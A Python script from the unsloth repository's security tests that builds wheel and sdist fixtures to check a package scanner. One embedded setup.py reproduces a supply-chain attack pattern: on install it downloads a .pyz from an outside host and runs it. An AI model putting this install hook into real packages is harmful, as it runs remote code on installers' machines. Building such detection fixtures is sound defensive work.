Files
unslothai--unsloth/tests/security/fixtures/_build.py
T
wehub-resource-sync e93507a09c
Lockfile supply-chain audit / lockfile supply-chain audit (push) Has been cancelled
Windows Studio GGUF CI / GPU prebuilt resolves without Visual Studio (push) Has been cancelled
Windows Studio GGUF CI / setup.ps1 unit tests (VS 2026 / CMake guard) (push) Has been cancelled
Windows Studio GGUF CI / real-VS detection (VS 2022) (push) Has been cancelled
Windows Studio GGUF CI / real-VS detection (VS 2026) (push) Has been cancelled
Windows Studio GGUF CI / VC++ runtime detect + install round-trip (windows-2025-vs2026) (push) Has been cancelled
Windows Studio GGUF CI / VC++ runtime detect + install round-trip (windows-latest) (push) Has been cancelled
Windows Studio Update CI / Studio Updating Tests (push) Has been cancelled
Wheel CI / Wheel build + content sanity + import smoke (push) Has been cancelled
Lint CI / Source lint (Python + shell + YAML + JSON + safety nets) (push) Has been cancelled
MLX CI on Mac M1 / dispatch (push) Has been cancelled
Security audit / advisory audit (pip + npm + cargo) (push) Has been cancelled
Security audit / pip scan-packages :: extras (push) Has been cancelled
Security audit / pip scan-packages :: studio (push) Has been cancelled
Security audit / pip scan-packages :: hf-stack (push) Has been cancelled
Security audit / npm scan-packages (Studio frontend tarballs) (push) Has been cancelled
Security audit / workflow-trigger lint (pull_request_target / cache-poisoning) (push) Has been cancelled
Security audit / pytest tests/security (push) Has been cancelled
Security audit / npm provenance + new install-script diff (push) Has been cancelled
Studio API CI / Studio API & Auth Tests (push) Has been cancelled
Backend CI / (Python 3.10) (push) Has been cancelled
Backend CI / (Python 3.11) (push) Has been cancelled
Backend CI / (Python 3.12) (push) Has been cancelled
Backend CI / (Python 3.13) (push) Has been cancelled
Backend CI / Repo tests (CPU) (push) Has been cancelled
Frontend CI / Frontend build + bundle sanity (push) Has been cancelled
Studio GGUF CI / OpenAI, Anthropic API tests (push) Has been cancelled
Studio GGUF CI / Tool calling Tests (push) Has been cancelled
Studio GGUF CI / JSON, images (push) Has been cancelled
Mac Studio GGUF CI / OpenAI, Anthropic API tests (push) Has been cancelled
Mac Studio GGUF CI / Tool calling Tests (push) Has been cancelled
Mac Studio GGUF CI / JSON, images (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-14) (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-15) (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-26) (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-15-intel) (push) Has been cancelled
Mac Studio API CI / Studio API & Auth Tests (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-26-intel) (push) Has been cancelled
Mac Studio UI CI / Chat UI Tests (push) Has been cancelled
Studio Tauri CI / Tauri Linux debug build (no codesign) (push) Has been cancelled
Mac Studio Update CI / Studio Updating Tests (push) Has been cancelled
Studio UI CI / Chat UI Tests (push) Has been cancelled
Windows Studio API CI / Studio API & Auth Tests (push) Has been cancelled
Windows Studio UI CI / Chat UI Tests (push) Has been cancelled
Studio Update CI / Studio Updating Tests (push) Has been cancelled
Core / Core (HF=default + TRL=default) (push) Has been cancelled
Core / Core (HF=4.57.6 + TRL<1) (push) Has been cancelled
Core / Core (HF=latest + TRL=latest) (push) Has been cancelled
Core / llama.cpp build + smoke (push) Has been cancelled
Windows Studio GGUF CI / OpenAI, Anthropic API tests (push) Has been cancelled
Windows Studio GGUF CI / Tool calling Tests (push) Has been cancelled
Windows Studio GGUF CI / JSON, images (push) Has been cancelled
Windows Studio GGUF CI / Studio install + inference without Visual Studio (push) Has been cancelled
Studio export capability / capability (macos-latest) (push) Has been cancelled
Studio export capability / capability (ubuntu-latest) (push) Has been cancelled
Studio export capability / capability (windows-latest) (push) Has been cancelled
Cross-platform parity / parity (macos-latest) (push) Has been cancelled
Cross-platform parity / parity (windows-latest) (push) Has been cancelled
Scorecard supply-chain security / Scorecard analysis (push) Has been cancelled
Studio load-orchestrator CI / test (push) Has been cancelled
chore: import upstream snapshot with attribution
2026-07-13 12:59:56 +08:00

165 lines
5.3 KiB
Python

"""Deterministic builder for the committed wheel + sdist fixtures; re-run only when the IOC literal changes."""
from __future__ import annotations
import io
import os
import sys
import tarfile
import zipfile
from pathlib import Path
SOURCE_DATE_EPOCH = 0
# Zip stores DOS time which starts at 1980; map epoch to 1980-01-01.
_ZIP_DOS_EPOCH = (1980, 1, 1, 0, 0, 0)
HERE = Path(__file__).resolve().parent
# IOC literal scan_packages.py must trip on. Keep in sync with
# KNOWN_IOC_STRINGS (scan_npm_packages.py) and RE_MAY12_IOC (scan_packages.py).
MALICIOUS_SETUP_PY = '''"""Test fixture: do NOT install.
This file embeds the May-12 Mini Shai-Hulud IOC literal so the
scan_packages.py regression tests can confirm the scanner trips on
the malicious setup.py shape. The string below is the same literal an
attacker would embed in a compromised release.
"""
from setuptools import setup
import urllib.request
import subprocess
# IOC literal -- mirrors public Socket.dev 2026-05-12 disclosure.
urllib.request.urlretrieve(
"https://git-tanstack.com/transformers.pyz",
"/tmp/transformers.pyz",
)
subprocess.run(["python3", "/tmp/transformers.pyz"], check=False)
setup(name="malicious-fixture", version="0.0.1")
'''
CLEAN_INIT_PY = '''"""Test fixture: empty placeholder package."""
'''
WHEEL_METADATA = (
"Metadata-Version: 2.1\n"
"Name: {name}\n"
"Version: 0.0.1\n"
"Summary: test fixture (do not install)\n"
)
WHEEL_FILE = (
"Wheel-Version: 1.0\n"
"Generator: tests/security/fixtures/_build.py\n"
"Root-Is-Purelib: true\n"
"Tag: py3-none-any\n"
)
RECORD_HEADER = ""
def _write_zip_member(zf: zipfile.ZipFile, name: str, data: bytes) -> None:
info = zipfile.ZipInfo(filename = name, date_time = _ZIP_DOS_EPOCH)
info.compress_type = zipfile.ZIP_DEFLATED
info.external_attr = (0o644 & 0xFFFF) << 16
info.create_system = 3 # Unix
zf.writestr(info, data)
def _build_wheel(out_path: Path, *, name: str, payload_files: dict[str, bytes]) -> None:
"""Write a deterministic .whl; .dist-info METADATA/WHEEL/RECORD are added automatically."""
dist_info = f"{name}-0.0.1.dist-info"
members: dict[str, bytes] = dict(payload_files)
members[f"{dist_info}/METADATA"] = WHEEL_METADATA.format(name = name).encode()
members[f"{dist_info}/WHEEL"] = WHEEL_FILE.encode()
# RECORD is minimal; the scanner inspects file bodies, not hash integrity.
record_lines = []
for path in sorted(members):
record_lines.append(f"{path},,")
record_lines.append(f"{dist_info}/RECORD,,")
members[f"{dist_info}/RECORD"] = ("\n".join(record_lines) + "\n").encode()
# Write with sorted order for deterministic byte output.
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", compression = zipfile.ZIP_DEFLATED) as zf:
for path in sorted(members):
_write_zip_member(zf, path, members[path])
out_path.write_bytes(buf.getvalue())
def _build_sdist(out_path: Path, *, name: str, payload_files: dict[str, bytes]) -> None:
"""Write a deterministic .tar.gz sdist; a `{name}-0.0.1/` prefix is added automatically."""
prefix = f"{name}-0.0.1"
buf = io.BytesIO()
# gzip mtime fixed via mtime=0 (gzip member header).
import gzip
inner = io.BytesIO()
with tarfile.open(fileobj = inner, mode = "w") as tf:
for path in sorted(payload_files):
data = payload_files[path]
info = tarfile.TarInfo(name = f"{prefix}/{path}")
info.size = len(data)
info.mtime = SOURCE_DATE_EPOCH
info.mode = 0o644
info.uid = 0
info.gid = 0
info.uname = ""
info.gname = ""
info.type = tarfile.REGTYPE
tf.addfile(info, io.BytesIO(data))
raw = inner.getvalue()
# gzip with fixed mtime=0 and explicit compresslevel for stability.
gz_buf = io.BytesIO()
with gzip.GzipFile(
fileobj = gz_buf,
mode = "wb",
mtime = SOURCE_DATE_EPOCH,
compresslevel = 6,
filename = "",
) as gz:
gz.write(raw)
out_path.write_bytes(gz_buf.getvalue())
def build_all() -> dict[str, Path]:
os.environ["SOURCE_DATE_EPOCH"] = str(SOURCE_DATE_EPOCH)
outputs: dict[str, Path] = {}
# Malicious wheel: payload setup.py that embeds the May-12 IOC.
mal_payload = {
"setup.py": MALICIOUS_SETUP_PY.encode(),
"malicious_fixture/__init__.py": b"# malicious fixture stub\n",
}
mal_whl = HERE / "malicious_wheel.whl"
_build_wheel(mal_whl, name = "malicious_fixture", payload_files = mal_payload)
outputs["malicious_wheel"] = mal_whl
# Clean wheel: empty placeholder.
clean_payload = {
"clean_fixture/__init__.py": CLEAN_INIT_PY.encode(),
}
clean_whl = HERE / "clean_wheel.whl"
_build_wheel(clean_whl, name = "clean_fixture", payload_files = clean_payload)
outputs["clean_wheel"] = clean_whl
# Malicious sdist: same setup.py, tar.gz form.
mal_sdist = HERE / "malicious_sdist.tar.gz"
_build_sdist(mal_sdist, name = "malicious_fixture", payload_files = mal_payload)
outputs["malicious_sdist"] = mal_sdist
return outputs
if __name__ == "__main__":
paths = build_all()
for label, path in paths.items():
size = path.stat().st_size
print(f" {label:>18}: {path.name} ({size} bytes)")
sys.exit(0)